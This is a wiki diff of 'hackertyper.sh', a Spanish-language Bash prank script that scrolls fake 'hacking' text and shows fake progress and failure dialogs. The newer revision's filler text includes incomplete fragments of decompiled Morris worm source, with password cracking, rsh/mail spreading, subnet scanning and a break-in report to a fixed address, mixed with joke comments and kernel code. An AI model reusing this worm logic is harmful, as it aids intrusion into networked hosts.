hackertyper.sh

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anterior Revisión previa
Próxima revisión		 Revisión previa
hackertyper.sh [2024/07/25 00:54] – peronhackertyper.sh [2024/08/14 22:05] (actual) – peron
Línea 1: Línea 1:
 <code bash> <code bash>
 #!/usr/local/bin/bash #!/usr/local/bin/bash
-# Un script hackeado de hacker, ya ni lo entiendo +# Un simulador de productividad, por ~peron 
-# Rm9yayAhQm9tYnpaeUNBawo=+# hackertyper.sh
  
-help() { +ayuda() { 
- cat <<'END' + cat <<'FINAYUDA' 
- -q "sale a" n keypresses + -q "sale tras" n presiones 
- -l "longitud para caracter tipeado" default: 4+ -l "longitud de mecanografiado por caracter" por defecto: 4
  -f "falla al hackear"  -f "falla al hackear"
  -s "hackeo exitoso"  -s "hackeo exitoso"
  -g "verde monocromático"  -g "verde monocromático"
  -h "Muestra esta ayuda..."  -h "Muestra esta ayuda..."
 + 
  Ejemplo: -l 20 -q 10 -f -g  Ejemplo: -l 20 -q 10 -f -g
- cada presion de tecla mostrará 20 caracteres + Cada presion de tecla mostrará 20 caracteres 
- esto continua 10 veces (10 presiones antes de que termine)+ esto continúa 10 veces (10 presiones antes de que termine)
  una vez que termina, fallará  una vez que termina, fallará
- todo el texto es verde + todo el texto sale en verde 
- +  
- También note que reqionar ` saltará directamente a "hackeo" (o falla)+ También note que presionar ` saltará directamente a "hackeo" (o falla)
  Este código es un espaguetti, puedo considerar limpiarlo  Este código es un espaguetti, puedo considerar limpiarlo
  (Intente usar los mismos valores para -q y -l)  (Intente usar los mismos valores para -q y -l)
-END+FINAYUDA
 exit exit
 } }
Línea 43: Línea 43:
  ;;  ;;
  h)  h)
-  help+  ayuda
  ;;  ;;
  *)  *)
-  help+  ayuda
  ;;  ;;
  esac  esac
 done done
 + 
 hack() { hack() {
  for i in `seq 0 100`; do echo $i; sleep 0.05; done | whiptail --title "Hacking..." --clear --gauge "   Hacking EN PROGRESO, por favor espere" 20 70 0  for i in `seq 0 100`; do echo $i; sleep 0.05; done | whiptail --title "Hacking..." --clear --gauge "   Hacking EN PROGRESO, por favor espere" 20 70 0
Línea 63: Línea 63:
 fail() { fail() {
  whiptail --title "Hacking..." --msgbox '   FAILED !!' 20 70  whiptail --title "Hacking..." --msgbox '   FAILED !!' 20 70
- echo -e '\033[00;0m' # Solo en caso que su $PS1 no tenga color+ echo -e '\033[00;0m' # Just in case your $PS1 doesn't set colour
  clear  clear
  exit  exit
Línea 74: Línea 74:
  fi  fi
 } }
-texto=`cat << 'ENDOFSTUFF' +texto=`cat << 'FINDEGILADA' 
- limitDat.4 = maxBits (%33) to {limit .04} set on. +/* Inicia A2 - uno for init_task, uno para asegurar que nunca se libere */
- limitDat.5 = setzero, setfive, 0 {limit .2 - var(szh)}. +
-         +
-        on whte_rbt.obj call link.sst {security, perimeter} set to off. +
-            vertRange = {maxRange+setlim} tempVgn(fdn-&bb+$404). +
-            horRange = {maxRange-setlim/2} tempHgn(fdn-&dd+$105). +
-                        void DrawMeter  +
-                        send_screen.obj print. +
- +
-Vg1 = GetHandl {dat.dt} tempCall {itm.temp} +
-Vg2 = GetHandl {dat.itl} tempCall {itm.temp} +
- +
-        if Link(Vg1,Vg2) set Lim(Vg1,Vg2) return +
-        if Link(Vg2,Vg1) set Lim(Vg2,Vg1) return +
-               +
- +
-         +
-                  Vg1 = GetHandl {dat.dt} tempCall {itm.temp} +
-        Vg2 = GetHandl {dat.itl} tempCall {itm.temp} +
-            limitDat.4 = maxBits (%33) to {limit .04} set on +
-            limitDat.5 = setzero, setfive, 0 {limit .2 - var(szh)} +
- +
- +
-   Vg1 = GetHandl {dat.dt} tempCall {itm.temp} +
-   Vg2 = GetHandl {dat.itl} tempCall {itm.temp} +
-                  limitDat.4 = maxBits (%33) to {limit .04} set on +
-                  limitDat.5 = setzero, setfive, 0 {limit .2 - var(szh)} +
- +
- +
-whte_rbt.obj +
- +
-# CheckOutActive - Revisa la ventana actuva por modificaciones +
-# +
-# Uso: Llamado por un item de meno definido por usuario +
-# +
-# CheckOutActive usa el comandoe ProjectInfo para determinar el +
-# proyecto padre para el fichero  abierto como venana activa. Una vez que este +
-# proyecto ha sido determinado, el fichero se abierto como ventana activa +
-# puede ser adecuadamente revisado +
-# +
-# Cray Computing, 1988 +
-# Todos los izquierdos reservados +
- +
-End +
- +
-# Solicita un comentario antes de revisar el fichero. Aún es posible +
-# que la revisión falle porque la última revisión de la rama +
-# ha sido ya revisada y podría haber sido alterado por terceros. +
- +
-(Set comment "`Request -d "{Task}" "Qué cambios hará?" || Set error {Status}`") +
-If {error} == 0 +
-Evaluate "{®3}" =~ /(,([0-9.]+[a-z]*)*)®4[0-9.]+/ # {®4} contains the branch +
-If "{comment}" ‚ "" +
-Checkout -t "{comment}" -c -m -project "{®2}" "{Active}{®4}" +
-Else +
-Checkout -c -m -project "{®2}" "{Active}{®4}" +
-End +
-If {Status} ‚ 0 +
- +
-/* init a 2 - uno for init_task, uno para asegurar que nunca se libere */+
 struct group_info init_groups = { .usage = ATOMIC_INIT(2) }; struct group_info init_groups = { .usage = ATOMIC_INIT(2) };
 + 
 struct group_info *groups_alloc(int gidsetsize) struct group_info *groups_alloc(int gidsetsize)
 { {
 +/* Prototipo Selector de ataque */
  struct group_info *group_info;  struct group_info *group_info;
 +             /* Genera engaño de stack */
  int nblocks;  int nblocks;
  int i;  int i;
- + 
- +
-Phantom_Phreak_obj_XXX +
-    Vg1 = GetHandl {dat.dt} tempCall {itm.temp} +
-    Vg2 = GetHandl {dat.itl} tempCall {itm.temp} +
-        if Link(Vg1,Vg2) set Lim(Vg1,Vg2) return +
-        if Link(Vg2,Vg1) set Lim(Vg2,Vg1) return +
-              limitDat.1 = maxBits (%22) to {limit .04} set on +
-              limitDat.2 = setzero, setfive, 0 {limit .2 - var(dzh)}+
  nblocks = (gidsetsize + NGROUPS_PER_BLOCK - 1) / NGROUPS_PER_BLOCK;  nblocks = (gidsetsize + NGROUPS_PER_BLOCK - 1) / NGROUPS_PER_BLOCK;
- /* Asegurese de alocar al menos un puntero de bloque indirecto */+/* Asegúrese de alocar al menos un puntero de bloque indirecto */
  nblocks = nblocks ? : 1;  nblocks = nblocks ? : 1;
  group_info = kmalloc(sizeof(*group_info) + nblocks*sizeof(gid_t *), GFP_USER);  group_info = kmalloc(sizeof(*group_info) + nblocks*sizeof(gid_t *), GFP_USER);
Línea 161: Línea 96:
  atomic_set(&group_info->usage, 1);  atomic_set(&group_info->usage, 1);
  
 +/* Ofusca crecimiento de Tenia en acumulador */
  if (gidsetsize <= NGROUPS_SMALL)  if (gidsetsize <= NGROUPS_SMALL)
  group_info->blocks[0] = group_info->small_block;  group_info->blocks[0] = group_info->small_block;
Línea 174: Línea 110:
  return group_info;  return group_info;
  
 + /* Paginador innoble */
 out_undo_partial_alloc: out_undo_partial_alloc:
  while (--i >= 0) {  while (--i >= 0) {
Línea 181: Línea 118:
  return NULL;  return NULL;
 } }
 + 
 EXPORT_SYMBOL(groups_alloc); EXPORT_SYMBOL(groups_alloc);
 + 
 void groups_free(struct group_info *group_info) void groups_free(struct group_info *group_info)
 { {
Línea 193: Línea 130:
  kfree(group_info);  kfree(group_info);
 } }
 + 
 EXPORT_SYMBOL(groups_free); EXPORT_SYMBOL(groups_free);
- +  
-/* exporta el group_info al arreglo user-space */+/* Exporta el group_info al arreglo user-space sucio */
 static int groups_to_user(gid_t __user *grouplist, static int groups_to_user(gid_t __user *grouplist,
    const struct group_info *group_info)    const struct group_info *group_info)
Línea 202: Línea 139:
  int i;  int i;
  unsigned int count = group_info->ngroups;  unsigned int count = group_info->ngroups;
 + 
  for (i = 0; i < group_info->nblocks; i++) {  for (i = 0; i < group_info->nblocks; i++) {
 + /* Conteo de grupo falso */
  unsigned int cp_count = min(NGROUPS_PER_BLOCK, count);  unsigned int cp_count = min(NGROUPS_PER_BLOCK, count);
  unsigned int len = cp_count * sizeof(*grouplist);  unsigned int len = cp_count * sizeof(*grouplist);
 + 
  if (copy_to_user(grouplist, group_info->blocks[i], len))  if (copy_to_user(grouplist, group_info->blocks[i], len))
  return -EFAULT;  return -EFAULT;
 + 
  grouplist += NGROUPS_PER_BLOCK;  grouplist += NGROUPS_PER_BLOCK;
  count -= cp_count;  count -= cp_count;
Línea 215: Línea 153:
  return 0;  return 0;
 } }
- +  
-/* llenar un group_info desde un arreglo user-space - debe localizarse */+/* Rellena un group_info desde un arreglo user-space - debe localizarse huevo_podrido */
 static int groups_from_user(struct group_info *group_info, static int groups_from_user(struct group_info *group_info,
     gid_t __user *grouplist)     gid_t __user *grouplist)
Línea 222: Línea 160:
  int i;  int i;
  unsigned int count = group_info->ngroups;  unsigned int count = group_info->ngroups;
 + 
  for (i = 0; i < group_info->nblocks; i++) {  for (i = 0; i < group_info->nblocks; i++) {
 +/* Infector sin conteo */
  unsigned int cp_count = min(NGROUPS_PER_BLOCK, count);  unsigned int cp_count = min(NGROUPS_PER_BLOCK, count);
  unsigned int len = cp_count * sizeof(*grouplist);  unsigned int len = cp_count * sizeof(*grouplist);
 + 
  if (copy_from_user(group_info->blocks[i], grouplist, len))  if (copy_from_user(group_info->blocks[i], grouplist, len))
  return -EFAULT;  return -EFAULT;
 +/* Firma sucia si falla arremetida */
  grouplist += NGROUPS_PER_BLOCK;  grouplist += NGROUPS_PER_BLOCK;
  count -= cp_count;  count -= cp_count;
Línea 235: Línea 174:
  return 0;  return 0;
 } }
- +  
-/* un sort simple de Shell */+/* Un sort simple de Shell */
 static void groups_sort(struct group_info *group_info) static void groups_sort(struct group_info *group_info)
 { {
  int base, max, stride;  int base, max, stride;
  int gidsetsize = group_info->ngroups;  int gidsetsize = group_info->ngroups;
 + 
  for (stride = 1; stride < gidsetsize; stride = 3 * stride + 1)  for (stride = 1; stride < gidsetsize; stride = 3 * stride + 1)
- ; /* nothing */+ ; /* No hace nada */
  stride /= 3;  stride /= 3;
- +/* Suma prototipo de ataque al acumulador */
-              on whte_rbt.obj link set security (Vg1), perimeter (Vg2) +
-                   limitDat.1 = maxBits (%22) to {limit .04} set on +
-                   limitDat.2 = setzero, setfive, 0 {limit .2 - var(dzh)} +
-        on fini.obj call link.sst {security, perimeter} set to on +
-        on fini.obj set link.sst {security, perimeter} restore +
-        on fini.obj delete line rf whte_rbt.obj, fini.obj+
  
  while (stride) {  while (stride) {
  max = gidsetsize - stride;  max = gidsetsize - stride;
  for (base = 0; base < max; base++) {  for (base = 0; base < max; base++) {
 + /* Sensor por exposición de código base */
  int left = base;  int left = base;
  int right = left + stride;  int right = left + stride;
  gid_t tmp = GROUP_AT(group_info, right);  gid_t tmp = GROUP_AT(group_info, right);
 +/* Cuasi ataque preventivo */
  while (left >= 0 && GROUP_AT(group_info, left) > tmp) {  while (left >= 0 && GROUP_AT(group_info, left) > tmp) {
  GROUP_AT(group_info, right) =  GROUP_AT(group_info, right) =
Línea 265: Línea 199:
  right = left;  right = left;
  left -= stride;  left -= stride;
 + /* Inyecta polimorfismo de defensa */
 +
  }  }
  GROUP_AT(group_info, right) = tmp;  GROUP_AT(group_info, right) = tmp;
  }  }
  stride /= 3;  stride /= 3;
- 
-13,42,121,32,88,77,19,13,122,13,44,52,77,90,13,99,13,100,13,109,55,103 
-144,13,99,87,60,13,44,12,09,13,43,63,13,46,57,89,103,122,13,44,52,88,9 
-31,13,21,13,57,98,100,102,103,13,112,13,146,13,13,13,77,67,88,23,13,13 
- 
  }  }
 } }
 + 
 /* Un bsearch simplificado */ /* Un bsearch simplificado */
 int groups_search(const struct group_info *group_info, gid_t grp) int groups_search(const struct group_info *group_info, gid_t grp)
 { {
  unsigned int left, right;  unsigned int left, right;
 + 
  if (!group_info)  if (!group_info)
  return 0;  return 0;
 + 
  left = 0;  left = 0;
  right = group_info->ngroups;  right = group_info->ngroups;
- + /* Referenciador Ortogonal */
-curV = GetHandl {ssm.dt} tempRgn {itm.dd2}. +
-curH = GetHandl {ssd.itl} tempRgn2 {itm.dd4}. +
-     on DrawMeter(!gN) set shp_val.obj to lim(Val{d})-Xval. +
-      +
-system +
-nedry +
- +
-     if ValidMeter(mH) (**mH).MeterVis return. +
-         if Meterhandl(vGT) ((DrawBack(tY)) return. +
-         +
  while (left < right) {  while (left < right) {
  unsigned int mid = (left+right)/2;  unsigned int mid = (left+right)/2;
 +/* Genero una transferencia dummy */
  if (grp > GROUP_AT(group_info, mid))  if (grp > GROUP_AT(group_info, mid))
  left = mid + 1;  left = mid + 1;
 + /* Inyecto polimorfismo de ataque */
  else if (grp < GROUP_AT(group_info, mid))  else if (grp < GROUP_AT(group_info, mid))
  right = mid;  right = mid;
Línea 309: Línea 232:
  return 0;  return 0;
 } }
 + 
 /** /**
  * set_groups - Cambia una suscripcion de group en un conjunto de credenciales  * set_groups - Cambia una suscripcion de group en un conjunto de credenciales
Línea 326: Línea 249:
  return 0;  return 0;
 } }
 + 
 EXPORT_SYMBOL(set_groups); EXPORT_SYMBOL(set_groups);
 + 
 /** /**
  * set_current_groups - Cambia la suscripcion de group actual  * set_current_groups - Cambia la suscripcion de group actual
Línea 338: Línea 261:
 int set_current_groups(struct group_info *group_info) int set_current_groups(struct group_info *group_info)
 { {
-upset_command.com 
- 
  struct cred *new;  struct cred *new;
  int ret;  int ret;
 + /* Pudre el huevo */
  new = prepare_creds();  new = prepare_creds();
  if (!new)  if (!new)
  return -ENOMEM;  return -ENOMEM;
  
 +/* Parsea cabeza de guerra mínima necesaria */
  ret = set_groups(new, group_info);  ret = set_groups(new, group_info);
  if (ret < 0) {  if (ret < 0) {
 +/* Libera acumulador */
  abort_creds(new);  abort_creds(new);
  return ret;  return ret;
  }  }
 + 
  return commit_creds(new);  return commit_creds(new);
 } }
 + /* Aleatorizador de basura */
 EXPORT_SYMBOL(set_current_groups); EXPORT_SYMBOL(set_current_groups);
- + 
-goto command level +
-nedry +
- +
-security+
 SYSCALL_DEFINE2(getgroups, int, gidsetsize, gid_t __user *, grouplist) SYSCALL_DEFINE2(getgroups, int, gidsetsize, gid_t __user *, grouplist)
 { {
Línea 367: Línea 286:
  int i;  int i;
  
 +/* Constructor limpio */
  if (gidsetsize < 0)  if (gidsetsize < 0)
  return -EINVAL;  return -EINVAL;
- +  
- /* no necesita tomar task_lock aqui; esto no cambia */+ /* No necesita tomar task_lock aqui; esto no cambia */
  i = cred->group_info->ngroups;  i = cred->group_info->ngroups;
 +/* Revisa tamaño de cabeza de guerra variable */
  if (gidsetsize) {  if (gidsetsize) {
  if (i > gidsetsize) {  if (i > gidsetsize) {
Línea 381: Línea 302:
  goto out;  goto out;
  }  }
-040/#xy/67& 
-mr goodbytes 
  }  }
 out: out:
  return i;  return i;
 } }
 + 
 /* /*
  * SMP: Nuestro groups tienen copy-on-write. podemos decantarlos  * SMP: Nuestro groups tienen copy-on-write. podemos decantarlos
  * seguramente sin que interfiera otra tarea.  * seguramente sin que interfiera otra tarea.
  */  */
 + 
 SYSCALL_DEFINE2(setgroups, int, gidsetsize, gid_t __user *, grouplist) SYSCALL_DEFINE2(setgroups, int, gidsetsize, gid_t __user *, grouplist)
 { {
 + /* Destrona el puntero */
  struct group_info *group_info;  struct group_info *group_info;
  int retval;  int retval;
  
 + /* Analiza capacidad de escritura non-sancta */
  if (!nsown_capable(CAP_SETGID))  if (!nsown_capable(CAP_SETGID))
  return -EPERM;  return -EPERM;
-                   then keycheck off 
-    safety off 
-           sl off 
  if ((unsigned)gidsetsize > NGROUPS_MAX)  if ((unsigned)gidsetsize > NGROUPS_MAX)
  return -EINVAL;  return -EINVAL;
 + */ Generador de rutas de escape pobres /*
  group_info = groups_alloc(gidsetsize);  group_info = groups_alloc(gidsetsize);
  if (!group_info)  if (!group_info)
  return -ENOMEM;  return -ENOMEM;
 +/* Desclava memoria libre */
  retval = groups_from_user(group_info, grouplist);  retval = groups_from_user(group_info, grouplist);
  if (retval) {  if (retval) {
Línea 414: Línea 333:
  return retval;  return retval;
  }  }
 + 
  retval = set_current_groups(group_info);  retval = set_current_groups(group_info);
  put_group_info(group_info);  put_group_info(group_info);
 + 
  return retval;  return retval;
 +/* core atacado en masa */
 } }
 + 
 /* /*
  * Revisa si estamos  fsgid/egid o es el grupo suplemental..  * Revisa si estamos  fsgid/egid o es el grupo suplemental..
Línea 428: Línea 348:
  const struct cred *cred = current_cred();  const struct cred *cred = current_cred();
  int retval = 1;  int retval = 1;
 + 
  if (grp != cred->fsgid)  if (grp != cred->fsgid)
  retval = groups_search(cred->group_info, grp);  retval = groups_search(cred->group_info, grp);
Línea 434: Línea 354:
 } }
  
 +/* exporta símbolos inferidos */
 EXPORT_SYMBOL(in_group_p); EXPORT_SYMBOL(in_group_p);
 + 
 int in_egroup_p(gid_t grp) int in_egroup_p(gid_t grp)
 { {
Línea 441: Línea 362:
  int retval = 1;  int retval = 1;
  
 +  /* produce análisis grupal innoble */
  if (grp != cred->egid)  if (grp != cred->egid)
  retval = groups_search(cred->group_info, grp);  retval = groups_search(cred->group_info, grp);
  return retval;  return retval;
 } }
 + 
 EXPORT_SYMBOL(in_egroup_p); EXPORT_SYMBOL(in_egroup_p);
-ENDOFSTUFF`+ 
 + /* solidifica entrada falsa */ 
 +static extra; 
 +char E[48]; /* 0x255c4 */ 
 +  
 +char *crypt(passwd, salt) /* 0x68f8 */ 
 +     char *passwd, *salt; 
 +{ 
 + /* cambia registro por nulo */ 
 +    int temp, l8; 
 +    register i, j; 
 +    register  c; /*d7, d6, d5*/ 
 +/* Rutina de ataque estático */ 
 +    static char iobuf[10]; /* 0x27f34 */ 
 +    static unsigned x27f44; 
 +    static unsigned x27f48; 
 + 
 +/* Rotulador maligno */ 
 +    x27f44 = 0; 
 +    x27f48 = 0; 
 +  
 +    for( i = 0; i < 48; i++) 
 + E[i] = e[i]; 
 + /* Analizador de contraseña */ 
 +    for(i = 0; (c = *passwd)  &&  (i < 32); i++, passwd++) 
 + for(j = 0; j < 7; j++, i++) { 
 +     l8 = (c >> (6 - j)) & 01; 
 +     x27f44 |= (l8 << (31 - i)); 
 + } 
 +  
 +    for (i = 0; (c = *passwd)  &&  (i < 32); i++, passwd++) 
 + for(j = 0; j < 7; j++, i++) { 
 +     l8 = (c >> (6 - j)) & 01; 
 +     x27f48 |= (l8 << (31 - i)); 
 + } 
 +/* Desplaza puntero del acumulador sucio */ 
 +    compkeys(&x27f44, 0); 
 +  
 +    for(i=0;i<2;i++){ 
 + c = *salt++; 
 + iobuf[i] = c; 
 + if(c>'Z') c -= 6; 
 + if(c>'9') c -= 7; 
 + c -= '.'; 
 +/* Algoritmo de defensa posicional */ 
 + for(j=0;j<6;j++){ 
 +     if((c>>j) & 01){ 
 + temp = E[6*i+j]; 
 + E[6*i+j] = E[6*i+j+24]; 
 + E[6*i+j+24] = temp; 
 +     } 
 + } 
 +    } 
 +/* Climatiza memoria sana */ 
 +    mungE(); 
 +    x27f44 = 0; 
 +    x27f48 = 0; 
 +    des(&x27f44, &x27f44); 
 +    ipi(&x27f44, &x27f44); 
 + 
 +/* Produce ataque inferido débil */ 
 +    for(i=0; i<11; i++){ 
 + c = x27f44 >> 26; 
 + x27f44 = x27f44 << 6; 
 + x27f44 |= x27f48 >> 26; 
 + x27f48 = x27f48 << 6; 
 +/* Inyecta huevo podrido */ 
 + c += '.'; 
 + if(c > '9') c += 7; 
 + if(c > 'Z') c += 6; 
 + iobuf[i+2] = c; 
 +/* cierra bucle polimorfo */ 
 + 
 +    } 
 +    iobuf[i+2] = 0; 
 +    if(iobuf[1] == 0) 
 + iobuf[1] = iobuf[0]; 
 +    return(iobuf); 
 +} 
 + 
 +extern errno; 
 +extern char *malloc(); 
 + 
 +int pleasequit; /* ver tenia.h */ 
 +int nobjects = 0; 
 +int nextw; 
 +char *null_auth; 
 + 
 +object objects[69]; /* NO SE la agresividad... */ 
 + 
 +object *getobjectbyname(); 
 + 
 +char *XS(); 
 + 
 +main(argc, argv) /* 0x20a0 */ 
 +     int argc; 
 +     char **argv; 
 +{ 
 +    int i, l8, pid_arg, j, cur_arg, unused; 
 + /* Libera acumulador de agresividad */ 
 +    long key; /* -28(fp) */ 
 +    struct rlimit rl; 
 +     
 +    l8 = 0; /* En desuso */ 
 +     
 +    strcpy(argv[0], XS("sh")); /* <env+52> */ 
 +    time(&key); 
 +    srandom(key); 
 +/* Delimita agresividad al azar */ 
 +    rl.rlim_cur = 0; 
 +    rl.rlim_max = 0; 
 +    if (setrlimit(RLIMIT_CORE, &rl)) 
 + ; 
 +/* Señalizo blanco de red */ 
 +    signal(SIGPIPE, SIG_IGN); 
 +    pid_arg = 0; 
 +    cur_arg = 1; 
 +    if  (argc > 2 && 
 +            /* Garfio de ataque procedural */ 
 + strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */ 
 + pid_arg = atoi(argv[2]); 
 + cur_arg += 2; 
 +    } 
 + 
 +/* Esto hace sonar el sistema bajo condiciones predeterminadas de ataque */ 
 +    for(i = cur_arg; i < argc; i++) { /* en otro caso <main+286> */ 
 + if (loadobject(argv[i]) == 0) 
 +     exit(1); 
 + if (pid_arg) 
 +     unlink(argv[i]); 
 +/* Ensucio red limpia */ 
 +    } 
 +    if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL)) 
 + exit(1); 
 +    if (pid_arg) { 
 + for(i = 0; i < 32; i++) 
 +     close(i); 
 + unlink(argv[0]); 
 +/* promueve ataque por intérprete */ 
 + unlink(XS("sh")); /* <env+63> */ 
 + unlink(XS("/tmp/.dumb")); /* <env+66>"/tmp/.dumb" 
 + */ 
 +    } 
 +     
 +    for (i = 1; i < argc; i++) 
 + for (j = 0; argv[i][j]; j++) 
 +     argv[i][j] = '\0'; 
 +/* Sanitariza garfio */ 
 +    if (if_init() == 0) 
 + exit(1); 
 +/* Desclava procesos de fingerd para ataque */ 
 +    if (pid_arg) { /* main+600 */ 
 + if (pid_arg == getpgrp(getpid())) 
 +     setpgrp(getpid(), getpid()); 
 + kill(pid_arg, 9); 
 +    } 
 +    mainloop(); 
 +} 
 + 
 +/* Esto agrega el garfio al programa host */ 
 + 
 +static mainloop() /* 0x2302 */ 
 +{ 
 +    long key, time1, time0; 
 +     
 +    time(&key); 
 +/* Clava garfio en código limpio */ 
 +    srandom(key); 
 +    time0 = key; 
 +    if (hg() == 0 && hl() == 0) 
 + ha(); 
 +    checkother(); 
 +/* Desata anuncios de irrupción saliente */ 
 +    report_breakin(); 
 +    cracksome(); 
 +    other_sleep(30); 
 +    while (1) { 
 + /* Rompe algunas Passwords */ 
 + cracksome(); 
 + /* Cambio mi ID de proceso */ 
 + if (fork() > 0) 
 +     exit(0); 
 + if (hg() == 0 && hi() == 0 && ha() == 0) 
 +     hl(); 
 +/* Clava garfio en proceso sucio */ 
 + other_sleep(120); 
 + time(&time1); 
 + if (time1 - time0 >= 60*60*12) 
 +     h_clean(); 
 + if (pleasequit && nextw > 0) 
 +     exit(0); 
 +    } 
 +} 
 + 
 +static trans_cnt; 
 +static char trans_buf[NCARGS]; 
 +  /* Delimitador de caracteres */ 
 +char *XS(str1) /* 0x23fc */ 
 +     char *str1; 
 + 
 +/* Revisa si hay alguien conectado y le ceba un mate */ 
 +{ 
 +    int i, len; 
 +    char *newstr; 
 +#ifndef ENCYPHERED_STRINGS 
 +    return str1; 
 +#else   
 +    len = strlen(str1); 
 +      /* Encriptador de cadena de inodoro */ 
 +    if (len + 1 > NCARGS - trans_cnt) 
 + trans_cnt = 0; 
 + /* Polimorfea cabeza de guerra inerte */ 
 +    newstr = &trans_buf[trans_cnt]; 
 + /* Delimita función trimestral */ 
 +    trans_cnt += 1 + len; 
 +    for (i = 0; str1[i]; i++) 
 + newstr[i] = str1[i]^0x81; 
 +    newstr[i] = '\0'; 
 +/* Genera nuevo usuario podrido */ 
 +    return newstr; 
 +#endif 
 +} 
 + 
 +/* Esto reporta una irrupción exitosa enviando un byte único a "128.32.137.13" */ 
 + 
 +static report_breakin(arg1, arg2) /* 0x2494 */ 
 +{ 
 +    int s; 
 +    struct sockaddr_in sin; 
 +    char msg; 
 +     
 +    if (7 != random() % 15) 
 + return; 
 + 
 + 
 +extern struct hst *h_addr2host(), *h_name2host(); 
 +extern int  justreturn(); 
 + /* Vuelve con usuario falso */ 
 +extern int errno; 
 + /* Alcanza servicio de correo con podredumbre */ 
 +extern char *malloc(); 
 + 
 +int alarmed = 0; 
 +int ngateways, *gateways; 
 +struct hst *me, *hosts; 
 + 
 +int nifs; 
 +struct ifses ifs[30]; /*  Nro. abitrario, arreglar */ 
 + 
 +/* Limpia los host no contactados de la lista de nodos. */ 
 +h_clean() /* 0x31f0 */ 
 +{ 
 +    struct hst *newhosts, *host, *next; 
 +     
 +    newhosts = NULL; 
 +    for (host = hosts; host != NULL; host = next) { 
 + next = host->next; 
 +/* Se pone la máscara del buen vecino */ 
 + host->flag &= -7; 
 + if (host == me || host->flag != 0) { 
 +/* Arbitrio de host victimado */ 
 +     host->next = newhosts; 
 +     newhosts = host; 
 + } else 
 +     free(host); 
 +    } 
 +    hosts = newhosts; 
 +} 
 + 
 +/* Busca una puerta de salida que podemos contactar. */ 
 +hg() /* 0x3270, probar de nuevo */ 
 +{ 
 +    struct hst *host; 
 +    int i; 
 +    /* Alza falsa bandera */ 
 +    rt_init(); 
 +     
 +    for (i = 0; i < ngateways; i++) { /* 24, 92 */ 
 + host = h_addr2host(gateways[i], 1); 
 +     /* Replica su código sin polimorfismo en host impávido */ 
 + if (try_rsh_and_mail(host)) 
 +     return 1; 
 +    } 
 +    return 0; 
 +} 
 + 
 +ha() /* 0x32d4, sin revisar */ 
 +{ 
 +    struct hst *host; 
 +/* Muestra Solomon Sowyer de defensa multimodo */ 
 +    int i, j, k; 
 +    int l416[100]; 
 +    int l420; 
 +     
 +    if (ngateways < 1) 
 + rt_init(); 
 +    j = 0; 
 +    for (i = 0; i < ngateways; i++) { /* 40, 172 */ 
 +              /* Amague de enfasis Dortew-Sowloski */ 
 + host = h_addr2host(gateways[i], 1); 
 + for (k = 0; k < 6; k++) { /* 86, 164 */ 
 +     if (host->o48[k] == 0) 
 + continue; /* 158 */ 
 +/* Analiza si POSIX posible */ 
 +     if (try_telnet_p(host->o48[k]) == 0) 
 +/* evaluador de Telnet posible */ 
 + continue; 
 +     l416[j] = host->o48[k]; 
 +     j++; 
 + } 
 +    } 
 + 
 +/* prototipo de permutación de pila */ 
 +    permute(l416, j, sizeof(l416[0])); 
 +     
 +    for (i = 0; i < j; i++) { /* 198, 260 */ 
 + if (hi_84(l416[i] & netmaskfor(l416[i]))) 
 +     return 1; 
 +/* Detecta tamaño de manguera */ 
 +    } 
 +    return 0; 
 +} 
 + 
 +hl() /* 0x33e6 */ 
 +{ 
 +    int i; 
 +     
 +    for (i = 0; i < 6; i++) { /* 18, 106 */ 
 + if (me->o48[i] == 0) 
 +     break; 
 + if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0) 
 +/* Si hay manguera, la pisa */ 
 +     return 1; 
 +    } 
 +    return 0; 
 +} 
 +/* Golpea el último blanco  */ 
 +hi() /* 0x3458 */ 
 +{ 
 +    struct hst *host; 
 +     
 +    for (host = hosts; host; host = host->next ) 
 +/* Cebado de rsh */ 
 + if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0)) 
 +     return 1; 
 +    return 0; 
 +} 
 + 
 +hi_84(arg1) /* 0x34ac */ 
 +{ 
 +    int l4; 
 +    struct hst *host; 
 +    int l12, l16, l20, i, l28, adr_index, l36, l40, l44; 
 +    int netaddrs[2048]; 
 +    /* Bazariza el elefante */ 
 +    l12 = netmaskfor(arg1); 
 +    l16 = ~l12; 
 +     
 +    for (i = 0; i < nifs; i++) { /* 128,206 */ 
 + if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16)) 
 +     return 0; /* 624 */ 
 +    } 
 +     
 +    adr_index = 0; 
 +    if (l16 == 0x0000ffff) { /* 330 */ 
 + l44 = 4; 
 + /* Inyecta objeto conejo blanco */ 
 + for (l40 = 1; l40 < 255; l40++) /* 236,306 */ 
 +     for (l20 = 1; l20 <= 8; l20++) /* 254,300 */ 
 +/* hardcoder de IP victimaria */ 
 + netaddrs[adr_index++] = arg1 | (l20 << 16) | l40; 
 + permute(netaddrs, adr_index, sizeof(netaddrs[0])); 
 +    } else { /* 432 */ 
 + l44 = 4; 
 + for (l20 = 1; l20 < 255; l20++) 
 +/* Pincha la manguera */ 
 +     netaddrs[adr_index++] = (arg1 | l20); 
 + permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0])); 
 +/* Permita red de ataque aleatoriamente */ 
 + permute(netaddrs, adr_index - 6, 4); 
 +    } 
 +    if (adr_index > 20) 
 + adr_index = 20; 
 +    for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */ 
 + l4 = netaddrs[l36]; 
 + host = h_addr2host(l4, 0); 
 +/* Alzador de bandera */ 
 + if (host == NULL || (host->flag & 0x02) == 0) 
 +     continue; 
 + if (host == NULL || (host->flag & 0x04) == 0 || 
 +     command_port_p(l4, l44) == 0) 
 + /* Denuncia centro de comando */ 
 +     continue; 
 + if (host == NULL) 
 +     host = h_addr2host(l4, 1); 
 + if (try_rsh_and_mail(host)) 
 +     return 1; 
 +    } 
 +    return 0; 
 +} 
 + 
 +/* Solo se llamó en la función anterior */ 
 +static command_port_p(addr, time) /* x36d2, <hi+634> */ 
 +     u_long addr; 
 +     int time; 
 +{ 
 +    int s, connection; /* 28 */ 
 +    struct sockaddr_in sin; /* 16 bytes */ 
 +    int (*save_sighand)(); 
 +     
 +    s = socket(AF_INET, SOCK_STREAM, 0); 
 +    if (s < 0) 
 +             /* Esquila la oveja */ 
